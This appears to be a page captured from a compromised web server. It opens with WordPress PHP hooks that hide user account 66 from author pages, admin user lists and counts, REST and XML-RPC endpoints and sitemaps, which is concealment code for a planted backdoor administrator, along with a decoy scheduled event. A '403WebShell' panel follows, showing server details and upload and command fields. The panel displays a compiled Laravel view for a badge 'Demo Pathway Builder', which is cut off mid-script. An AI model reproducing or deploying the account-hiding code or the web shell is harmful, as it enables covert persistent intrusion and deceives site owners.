add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/storage/framework/views/c4a83ebf40b16d8b3f1acea7684beb66.php
<?php $__env->startSection('title', 'Demo Pathway Builder'); ?>

<?php $__env->startSection('content'); ?>

<div class="bg-white border-bottom py-3">
    <div class="container">
        <div class="d-flex justify-content-between align-items-center">
            <div class="d-flex align-items-center gap-3">
                <div>
                    <input type="text" id="pathway-title" class="form-control form-control-lg border-0 fw-bold p-0"
                           value="Demo Pathway" placeholder="Pathway title..."
                           style="font-size: 1.25rem; background: transparent;">
                    <span class="badge bg-info small">Demo</span>
                    <span class="text-muted small ms-2">A pathway is a structure of badges / credentials that need to be achieved in order to get the master badge / credential.</span><br>

                    <span class="text-muted small ms-2">Your work is saved in your browser automatically.</span>
                </div>
            </div>
            <div class="d-flex gap-2">
                <label class="btn btn-sm btn-outline-secondary" title="Import JSON">
                    <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
                        <path d="M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z"/>
                        <path d="M7.646 1.146a.5.5 0 0 1 .708 0l3 3a.5.5 0 0 1-.708.708L8.5 2.707V10.5a.5.5 0 0 1-1 0V2.707L5.354 4.854a.5.5 0 1 0-.708-.708l3-3z"/>
                    </svg>
                    Import
                    <input type="file" id="importPathwayInput" accept=".json" style="display: none;">
                </label>
                <button type="button" class="btn btn-sm btn-outline-secondary" id="exportPathwayBtn" title="Export as JSON">
                    <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
                        <path d="M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z"/>
                        <path d="M7.646 11.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 10.293V1.5a.5.5 0 0 0-1 0v8.793L5.354 8.146a.5.5 0 1 0-.708.708l3 3z"/>
                    </svg>
                    Export
                </button>
                <button type="button" class="btn btn-sm btn-outline-secondary" id="exportCtdlBtn" title="Export as CTDL JSON-LD">
                    <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
                        <path d="M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z"/>
                        <path d="M7.646 11.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 10.293V1.5a.5.5 0 0 0-1 0v8.793L5.354 8.146a.5.5 0 1 0-.708.708l3 3z"/>
                    </svg>
                    Export CTDL
                </button>
                <button type="button" class="btn btn-sm btn-outline-secondary" data-bs-toggle="offcanvas" data-bs-target="#settingsPanel">
                    Settings
                </button>
                <button type="button" class="btn btn-sm btn-outline-danger" id="resetBtn" title="Reset pathway">
                    Reset
                </button>
            </div>
        </div>
    </div>
</div>


<div class="builder-area">
    <div class="container py-4">
        
        <div class="master-badge-section mb-5">
            <div class="text-center mb-4">
                <p class="text-muted small text-uppercase tracking-wide mb-2">The Goal</p>
                <h3 class="fw-light">Master Badge</h3>
            </div>
            <div class="row justify-content-center">
                <div class="col-md-6 col-lg-4">
                    <div class="master-badge-card text-center p-4" id="master-badge-card">
                        
                    </div>
                </div>
            </div>
        </div>

        
        <div class="required-badges-section" id="pathway-sections">
        </div>

        
        <div class="connector-down add-section-connector">
            <div class="connector-line"></div>
            <button type="button" class="add-badge-center" id="add-section-btn" title="Add required badge">
                <span>+</span>
            </button>
        </div>
    </div>
</div>


<div class="offcanvas offcanvas-end" tabindex="-1" id="settingsPanel">
    <div class="offcanvas-header">
        <h5 class="offcanvas-title">Pathway Settings</h5>
        <button type="button" class="btn-close" data-bs-dismiss="offcanvas"></button>
    </div>
    <div class="offcanvas-body">
        <div class="mb-3">
            <label for="settings-title" class="form-label">Title</label>
            <input type="text" id="settings-title" class="form-control">
        </div>
        <div class="mb-3">
            <label for="settings-description" class="form-label">Description</label>
            <textarea id="settings-description" class="form-control" rows="3"></textarea>
        </div>
        <button type="button" class="btn btn-primary w-100" id="saveSettingsBtn">Save Settings</button>
    </div>
</div>


<div class="modal fade" id="masterBadgeModal" tabindex="-1">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">Master Badge</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <p class="text-muted mb-4">
                    This is the badge awarded when someone completes all required sections.
                </p>
                <div class="alert alert-info small mb-4">
                    <strong>Demo note:</strong> In production, the master badge can only be selected from your own issuing server (e.g. <a href="https://badgau.net" target="_blank" rel="noopener">Badgau</a>), or through a signed <a href="https://openskillpaths.org" target="_blank">OpenSkillPath</a> source, ensuring that only credential issuers can create authoritative pathways to their badges.
                </div>
                <div class="badge-preview mb-4 text-center">
                    <img src="/images/badge-placeholder.svg" alt="Master badge preview"
                         class="badge-preview-image placeholder" id="master-preview-img">
                    <div class="badge-preview-status" id="master-preview-status"></div>
                    <div class="mt-2">
                        <button type="button" class="btn btn-sm btn-outline-primary" id="master-browse-btn">
                            Browse Badges
                        </button>
                    </div>
                </div>
                <div class="mb-3">
                    <label for="master-achievement-id" class="form-label">Achievement ID</label>
                    <input type="text" id="master-achievement-id" class="form-control"
                           placeholder="https://issuer.badgau.net/badgeclasses/public/...">
                    <div class="form-text">Paste badge URL or use Browse Badges above</div>
                </div>
                <div class="mb-3">
                    <label for="master-badge-title" class="form-label">Badge Title</label>
                    <input type="text" id="master-badge-title" class="form-control"
                           placeholder="e.g., Certified Professional Nurse">
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-outline-secondary" data-bs-dismiss="modal">Cancel</button>
                <button type="button" class="btn btn-primary" id="saveMasterBadgeBtn">Save Master Badge</button>
            </div>
        </div>
    </div>
</div>


<div class="modal fade" id="badgePickerModal" tabindex="-1">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">Select Badge from OpenSkillPaths</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <p class="text-muted small mb-3">
                    <a href="https://openskillpaths.org" target="_blank" rel="noopener">OpenSkillPaths</a> collects public badge classes from participating issuing servers (like <a href="https://badgau.net" target="_blank" rel="noopener">badgau.net</a>). Search and select badges to add them to your pathway.
                </p>
                <div class="mb-3">
                    <div class="input-group">
                        <span class="input-group-text">
                            <svg width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                                <path d="M11.742 10.344a6.5 6.5 0 1 0-1.397 1.398h-.001c.03.04.062.078.098.115l3.85 3.85a1 1 0 0 0 1.415-1.414l-3.85-3.85a1.007 1.007 0 0 0-.115-.1zM12 6.5a5.5 5.5 0 1 1-11 0 5.5 5.5 0 0 1 11 0z"/>
                            </svg>
                        </span>
                        <input type="text" id="badge-search-input" class="form-control"
                               placeholder="Search badges by name..." autocomplete="off">
                    </div>
                </div>
                <div id="badge-picker-loading" class="text-center py-5" style="display: none;">
                    <div class="spinner-border text-primary" role="status">
                        <span class="visually-hidden">Loading...</span>
                    </div>
                    <p class="text-muted mt-2">Searching badges...</p>
                </div>
                <div id="badge-picker-error" class="alert alert-danger" style="display: none;">
                    <span id="badge-picker-error-message"></span>
                </div>
                <div id="badge-picker-results" class="badge-picker-grid" style="display: none;"></div>
                <div id="badge-picker-empty" class="text-center py-5" style="display: none;">
                    <div class="mb-3" style="font-size: 3rem; opacity: 0.5;">&#128270;</div>
                    <p class="text-muted">No badges found. Try a different search term.</p>
                </div>
                <div id="badge-picker-pagination" class="d-flex justify-content-between align-items-center mt-4" style="display: none;">
                    <button type="button" class="btn btn-outline-secondary btn-sm" id="badge-picker-prev" disabled>&larr; Previous</button>
                    <span id="badge-picker-page-info" class="text-muted small"></span>
                    <button type="button" class="btn btn-outline-secondary btn-sm" id="badge-picker-next" disabled>Next &rarr;</button>
                </div>
            </div>
            <div class="modal-footer border-top-0">
                <button type="button" class="btn btn-outline-secondary" data-bs-dismiss="modal">Cancel</button>
            </div>
        </div>
    </div>
</div>

<style>
.builder-area {
    background: #f8f9fa;
    min-height: calc(100vh - 120px);
}
.tracking-wide { letter-spacing: 0.05em; }
.master-badge-section { padding-top: 2rem; }
.master-badge-card {
    background: white;
    border-radius: 16px;
    box-shadow: 0 2px 12px rgba(0,0,0,0.08);
    cursor: pointer;
}
.master-badge-icon { font-size: 4rem; line-height: 1; }
.master-badge-icon.empty { opacity: 0.3; filter: grayscale(100%); }
.master-badge-image { width: 100px; height: 100px; object-fit: contain; }
.connector-line { width: 2px; height: 24px; background: #dee2e6; margin: 0 auto; }
.badge-picker-grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(180px, 1fr));
    gap: 1rem;
}
.badge-picker-item {
    background: #f8f9fa;
    border: 2px solid transparent;
    border-radius: 12px;
    padding: 1rem;
    text-align: center;
    cursor: pointer;
    transition: all 0.2s;
}
.badge-picker-item:hover {
    border-color: #0d6efd;
    background: #fff;
    box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}
.badge-picker-item img { width: 64px; height: 64px; object-fit: contain; margin-bottom: 0.5rem; }
.badge-picker-item .badge-name {
    font-weight: 500; font-size: 0.875rem; line-height: 1.3; margin-bottom: 0.25rem;
    display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden;
}
.badge-picker-item .badge-issuer {
    font-size: 0.75rem; color: #6c757d;
    display: -webkit-box; -webkit-line-clamp: 1; -webkit-box-orient: vertical; overflow: hidden;
}
.required-badges-section {
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 1rem 0;
}
.pathway-mode-toggle { position: relative; margin-bottom: 1rem; }
.pathway-mode-btn {
    display: inline-flex; align-items: center;
    padding: 0.375rem 0.875rem; background: #f8f9fa; border: 1px solid #dee2e6;
    border-radius: 20px; font-size: 0.8125rem; color: #495057; cursor: pointer; transition: all 0.2s;
}
.pathway-mode-btn:hover { background: #e9ecef; border-color: #ced4da; }
.pathway-mode-btn.active { background: #e7f1ff; border-color: #b6d4fe; color: #0d6efd; }
.pathway-mode-btn .mode-chevron { transition: transform 0.2s; }
.pathway-mode-btn.open .mode-chevron { transform: rotate(180deg); }
.pathway-mode-dropdown {
    display: none; position: absolute; top: 100%; left: 50%; transform: translateX(-50%);
    margin-top: 0.5rem; background: white; border: 1px solid #dee2e6; border-radius: 10px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15); z-index: 1000; min-width: 220px; overflow: hidden;
}
.pathway-mode-dropdown.show { display: block; }
.mode-option { padding: 0.75rem 1rem; cursor: pointer; transition: background 0.15s; }
.mode-option:hover { background: #f8f9fa; }
.mode-option.active { background: #e7f1ff; }
.mode-option strong { display: block; font-size: 0.875rem; color: #212529; }
.mode-option .mode-description { display: block; font-size: 0.75rem; color: #6c757d; margin-top: 0.125rem; }
.mode-option + .mode-option { border-top: 1px solid #f0f0f0; }
.connector-down { display: flex; flex-direction: column; align-items: center; position: relative; padding: 0.5rem 0; }
.add-badge-center {
    width: 36px; height: 36px; border: 2px dashed #ced4da; border-radius: 50%;
    background: transparent; display: flex; align-items: center; justify-content: center;
    font-size: 1.25rem; color: #6c757d; cursor: pointer; transition: all 0.2s;
}
.add-badge-center:hover { border-color: #0d6efd; color: #0d6efd; background: rgba(13, 110, 253, 0.05); }
.add-section-connector { margin-top: 0.5rem; }
.add-section-connector .connector-line { height: 16px; }
.badge-card {
    background: #f8f9fa; border: 2px solid transparent; border-radius: 12px;
    padding: 1rem; text-align: center; transition: all 0.2s; position: relative;
    min-width: 180px; max-width: 180px; flex-shrink: 0;
}
.badge-card:hover { background: #fff; box-shadow: 0 2px 8px rgba(0,0,0,0.1); }
.badge-card-image { position: relative; margin-bottom: 0.5rem; }
.badge-card-image img { width: 64px; height: 64px; object-fit: contain; }
.badge-card-title {
    font-size: 0.75rem; font-weight: 500; line-height: 1.3; margin-bottom: 0.5rem;
    white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: 100%;
}
.badge-card-actions { display: flex; justify-content: center; gap: 0.5rem; opacity: 0; transition: opacity 0.2s; }
.badge-card:hover .badge-card-actions { opacity: 1; }
.badge-card-action {
    background: none; border: none; padding: 0.25rem; color: #6c757d; cursor: pointer; border-radius: 4px;
}
.badge-card-action:hover { background: #e9ecef; color: #212529; }
.badge-card-action.text-danger:hover { background: #f8d7da; color: #dc3545; }
.badge-or-connector {
    display: flex; align-items: center; justify-content: center;
    padding: 0 0.25rem; font-size: 0.75rem; font-weight: 500; color: #6c757d; text-transform: uppercase;
}
.badge-row {
    display: flex; flex-wrap: wrap; align-items: center; justify-content: flex-start;
    gap: 0.75rem; padding: 0.5rem 1rem; transition: background 0.2s, box-shadow 0.2s; max-width: 100%;
}
@media (min-width: 768px) { .badge-row { justify-content: center; } }
.add-badge-inline {
    width: 36px; height: 36px; border: 2px dashed #ced4da; border-radius: 50%;
    background: transparent; display: flex; align-items: center; justify-content: center;
    font-size: 1.25rem; color: #6c757d; cursor: pointer; transition: all 0.2s; flex-shrink: 0;
}
.add-badge-inline:hover { border-color: #0d6efd; color: #0d6efd; background: rgba(13, 110, 253, 0.05); }
.section-rule-indicator { position: relative; align-self: flex-start; margin-left: 1rem; margin-bottom: -0.5rem; z-index: 5; }
.rule-dropdown-toggle {
    display: inline-flex; align-items: center; gap: 0.375rem; padding: 0.25rem 0.75rem;
    background: #e9ecef; border: none; border-radius: 20px; font-size: 0.75rem;
    color: #495057; cursor: pointer; transition: all 0.2s;
}
.rule-dropdown-toggle:hover { background: #dee2e6; color: #212529; }
.rule-dropdown-toggle .rule-chevron { transition: transform 0.2s; }
.rule-dropdown-toggle.open .rule-chevron { transform: rotate(180deg); }
.rule-dropdown {
    display: none; position: absolute; top: 100%; left: 50%; transform: translateX(-50%);
    margin-top: 0.25rem; background: white; border: 1px solid #dee2e6; border-radius: 8px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15); z-index: 1000; min-width: 160px; overflow: hidden;
}
.rule-dropdown.show { display: block; }
.section-rule-indicator:hover + .badge-row {
    background: rgba(13, 110, 253, 0.08); border-radius: 12px; box-shadow: 0 0 0 3px rgba(13, 110, 253, 0.15);
}
.rule-option { padding: 0.5rem 0.75rem; font-size: 0.8125rem; color: #495057; cursor: pointer; transition: background 0.15s; }
.rule-option:hover { background: #f8f9fa; }
.rule-option.active { background: #e7f1ff; color: #0d6efd; font-weight: 500; }
.rule-option + .rule-option { border-top: 1px solid #f0f0f0; }
.curved-connector-container {
    position: relative; width: 100%; height: 70px; display: flex;
    flex-direction: column; align-items: center; justify-content: flex-start; padding-top: 4px;
}
.curved-connector-container.master-connector { height: 50px; padding-top: 0; }
.curved-connector-svg { position: absolute; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; overflow: visible; }
.curved-connector-svg path { fill: none; stroke: #dee2e6; stroke-width: 2; stroke-linecap: round; }
.curved-connector-svg .arrow-up { fill: #adb5bd; }
.connector-add-btn {
    position: relative; z-index: 10; width: 32px; height: 32px; border: 2px dashed #ced4da;
    border-radius: 50%; background: #f8f9fa; display: flex; align-items: center; justify-content: center;
    font-size: 1.125rem; color: #6c757d; cursor: pointer; transition: all 0.2s; flex-shrink: 0;
}
.connector-add-btn:hover { border-color: #0d6efd; color: #0d6efd; background: rgba(13, 110, 253, 0.05); }
.badge-preview { padding: 1.5rem; background: #f8f9fa; border-radius: 12px; }
.badge-preview-image { width: 80px; height: 80px; object-fit: contain; border-radius: 8px; transition: all 0.3s; }
.badge-preview-image.placeholder { opacity: 0.4; filter: grayscale(100%); }
.badge-preview-status { margin-top: 0.5rem; font-size: 0.8125rem; color: #6c757d; }
.badge-preview-status.success { color: #198754; }
</style>

<?php $__env->startPush('scripts'); ?>
<script>
document.addEventListener('DOMContentLoaded', function() {
    const PLACEHOLDER = '/images/badge-placeholder.svg';

    // =============================================
    // State Management
    // =============================================
    const DEFAULT_STATE = {
        title: 'My Pathway',
        description: '',
        isSequential: false,
        masterBadge: { achievementId: null, title: null, imageUrl: null },
        sections: [],
        nextSectionId: 1,
        nextBadgeId: 1,
    };

    let state = loadState();

    function loadState() {
        try {
            const saved = localStorage.getItem('demo-pathway-builder');
            if (saved) {
                const parsed = JSON.parse(saved);
                // Ensure all fields exist
                return { ...JSON.parse(JSON.stringify(DEFAULT_STATE)), ...parsed };
            }
        } catch (e) { console.error('Failed to load state:', e); }
        return JSON.parse(JSON.stringify(DEFAULT_STATE));
    }

    function saveState() {
        localStorage.setItem('demo-pathway-builder', JSON.stringify(state));
    }

    // =============================================
    // Rendering
    // =============================================
    function render() {
        renderMasterBadge();
        renderSections();
        syncTitleInput();
        setTimeout(drawCurvedConnectors, 50);
    }

    function syncTitleInput() {
        document.getElementById('pathway-title').value = state.title;
        document.getElementById('settings-title').value = state.title;
        document.getElementById('settings-description').value = state.description;
    }

    function renderMasterBadge() {
        const card = document.getElementById('master-badge-card');
        const mb = state.masterBadge;

        if (mb.title || mb.achievementId) {
            card.innerHTML = `
                ${mb.imageUrl
                    ? `<img src="${escapeHtml(mb.imageUrl)}" alt="${escapeHtml(mb.title)}" class="master-badge-image mb-3" onerror="this.src='${PLACEHOLDER}'">`
                    : '<div class="master-badge-icon mb-3">&#127942;</div>'}
                <h5 class="mb-2">${escapeHtml(mb.title || 'Untitled Badge')}</h5>
                ${mb.achievementId ? `<code class="small text-muted d-block text-truncate">${escapeHtml(mb.achievementId)}</code>` : ''}
                <button type="button" class="btn btn-sm btn-outline-secondary mt-3" data-bs-toggle="modal" data-bs-target="#masterBadgeModal">
                    Edit Master Badge
                </button>
            `;
        } else {
            card.innerHTML = `
                <div class="master-badge-icon empty mb-3">&#127942;</div>
                <p class="text-muted mb-3">Define the badge earned upon completion</p>
                <button type="button" class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#masterBadgeModal">
                    Set Master Badge
                </button>
            `;
        }
    }

    function renderSections() {
        const container = document.getElementById('pathway-sections');
        const sectionsWithBadges = state.sections.filter(s => s.badges.length > 0);

        if (sectionsWithBadges.length === 0) {
            container.innerHTML = '';
            return;
        }

        let html = '';

        // Sequential toggle
        html += `
            <div class="pathway-mode-toggle">
                <button type="button" class="pathway-mode-btn ${state.isSequential ? 'active' : ''}" id="sequentialToggle">
                    <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
                        <path fill-rule="evenodd" d="M1 2.5A1.5 1.5 0 0 1 2.5 1h3A1.5 1.5 0 0 1 7 2.5v3A1.5 1.5 0 0 1 5.5 7h-3A1.5 1.5 0 0 1 1 5.5v-3zM2.5 2a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 1h3A1.5 1.5 0 0 1 15 2.5v3A1.5 1.5 0 0 1 13.5 7h-3A1.5 1.5 0 0 1 9 5.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zM1 10.5A1.5 1.5 0 0 1 2.5 9h3A1.5 1.5 0 0 1 7 10.5v3A1.5 1.5 0 0 1 5.5 15h-3A1.5 1.5 0 0 1 1 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 9h3a1.5 1.5 0 0 1 1.5 1.5v3a1.5 1.5 0 0 1-1.5 1.5h-3A1.5 1.5 0 0 1 9 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3z"/>
                    </svg>
                    <span class="mode-text">${state.isSequential ? 'Complete in order' : 'Any order'}</span>
                    <svg width="12" height="12" fill="currentColor" viewBox="0 0 16 16" class="mode-chevron ms-1">
                        <path fill-rule="evenodd" d="M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z"/>
                    </svg>
                </button>
                <div class="pathway-mode-dropdown" id="pathwayModeDropdown">
                    <div class="mode-option ${!state.isSequential ? 'active' : ''}" data-sequential="0">
                        <strong>Any order</strong>
                        <span class="mode-description">Complete sections in any order</span>
                    </div>
                    <div class="mode-option ${state.isSequential ? 'active' : ''}" data-sequential="1">
                        <strong>Complete in order</strong>
                        <span class="mode-description">Sections must be completed sequentially</span>
                    </div>
                </div>
            </div>
        `;

        // Master connector
        html += `
            <div class="curved-connector-container master-connector" data-to-section="${sectionsWithBadges[0].id}">
                <svg class="curved-connector-svg" preserveAspectRatio="none"></svg>
            </div>
        `;

        sectionsWithBadges.forEach((section, idx) => {
            const slotCount = section.badges.length;

            // Rule indicator (2+ badges)
            if (slotCount >= 2) {
                html += renderRuleIndicator(section);
            }

            // Badge row
            html += `<div class="badge-row" data-section-id="${section.id}">`;
            section.badges.forEach((badge, bi) => {
                html += renderBadgeCard(badge, section.id);
                if (bi < slotCount - 1) {
                    html += '<span class="badge-or-connector">or</span>';
                }
            });
            // Inline + button
            html += `
                <button type="button" class="add-badge-inline" data-action="add-to-section" data-section-id="${section.id}" title="Add alternative badge">
                    <span>+</span>
                </button>
            </div>`;

            // Connector to next section
            const nextSection = sectionsWithBadges[idx + 1];
            if (nextSection) {
                html += `
                    <div class="curved-connector-container" data-from-section="${section.id}" data-to-section="${nextSection.id}">
                        <svg class="curved-connector-svg" preserveAspectRatio="none"></svg>
                        <button type="button" class="connector-add-btn" data-action="insert-section" data-after-section-id="${section.id}" title="Insert badge here">+</button>
                    </div>
                `;
            }
        });

        container.innerHTML = html;
        attachSectionListeners();
    }

    function renderRuleIndicator(section) {
        const count = section.badges.length;
        let ruleText = '';
        if (section.ruleType === 'all') ruleText = `Require all ${count}`;
        else if (section.ruleType === 'one_of') ruleText = 'Require any 1';
        else if (section.ruleType === 'n_of_m') ruleText = `Require any ${section.ruleCount || 1} of ${count}`;

        let options = `
            <div class="rule-option ${section.ruleType === 'all' ? 'active' : ''}" data-rule-type="all">Require all ${count}</div>
            <div class="rule-option ${section.ruleType === 'one_of' ? 'active' : ''}" data-rule-type="one_of">Require any 1</div>
        `;
        if (count > 2) {
            for (let i = 2; i < count; i++) {
                options += `<div class="rule-option ${(section.ruleType === 'n_of_m' && section.ruleCount == i) ? 'active' : ''}" data-rule-type="n_of_m" data-rule-count="${i}">Require any ${i} of ${count}</div>`;
            }
        }

        return `
            <div class="section-rule-indicator" data-section-id="${section.id}">
                <button type="button" class="rule-dropdown-toggle" data-section-id="${section.id}">
                    <span class="rule-text">${ruleText}</span>
                    <svg width="12" height="12" fill="currentColor" viewBox="0 0 16 16" class="rule-chevron">
                        <path fill-rule="evenodd" d="M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z"/>
                    </svg>
                </button>
                <div class="rule-dropdown">${options}</div>
            </div>
        `;
    }

    function renderBadgeCard(badge, sectionId) {
        return `
            <div class="badge-card" data-badge-id="${badge.id}" title="${escapeHtml(badge.title)}${badge.issuer?.name ? ' — ' + escapeHtml(badge.issuer.name) : ''}">
                <div class="badge-card-image">
                    <img src="${escapeHtml(badge.imageUrl || PLACEHOLDER)}" alt="${escapeHtml(badge.title)}" onerror="this.src='${PLACEHOLDER}'">
                </div>
                <div class="badge-card-title">${escapeHtml(badge.title)}</div>
                <div class="badge-card-actions">
                    <button type="button" class="badge-card-action text-danger" data-action="remove-badge" data-badge-id="${badge.id}" data-section-id="${sectionId}" title="Remove">
                        <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16"><path d="M5.5 5.5A.5.5 0 0 1 6 6v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm2.5 0a.5.5 0 0 1 .5.5v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm3 .5a.5.5 0 0 0-1 0v6a.5.5 0 0 0 1 0V6z"/><path fill-rule="evenodd" d="M14.5 3a1 1 0 0 1-1 1H13v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V4h-.5a1 1 0 0 1-1-1V2a1 1 0 0 1 1-1H6a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1h3.5a1 1 0 0 1 1 1v1zM4.118 4 4 4.059V13a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V4.059L11.882 4H4.118zM2.5 3V2h11v1h-11z"/></svg>
                    </button>
                </div>
            </div>
        `;
    }

    // =============================================
    // Event Delegation for Sections
    // =============================================
    function attachSectionListeners() {
        const container = document.getElementById('pathway-sections');

        // Remove badge
        container.querySelectorAll('[data-action="remove-badge"]').forEach(btn => {
            btn.addEventListener('click', function(e) {
                e.stopPropagation();
                if (!confirm('Remove this badge?')) return;
                const badgeId = parseInt(this.dataset.badgeId);
                const sectionId = parseInt(this.dataset.sectionId);
                const section = state.sections.find(s => s.id === sectionId);
                if (section) {
                    section.badges = section.badges.filter(b => b.id !== badgeId);
                    // Remove empty sections
                    if (section.badges.length === 0) {
                        state.sections = state.sections.filter(s => s.id !== sectionId);
                    }
                    saveState();
                    render();
                }
            });
        });

        // Add to existing section
        container.querySelectorAll('[data-action="add-to-section"]').forEach(btn => {
            btn.addEventListener('click', function(e) {
                e.preventDefault();
                e.stopPropagation();
                openBadgePicker({
                    directMode: true,
                    sectionId: parseInt(this.dataset.sectionId),
                    createSection: false,
                });
            });
        });

        // Insert between sections
        container.querySelectorAll('[data-action="insert-section"]').forEach(btn => {
            btn.addEventListener('click', function(e) {
                e.preventDefault();
                e.stopPropagation();
                openBadgePicker({
                    directMode: true,
                    createSection: true,
                    afterSectionId: parseInt(this.dataset.afterSectionId),
                });
            });
        });

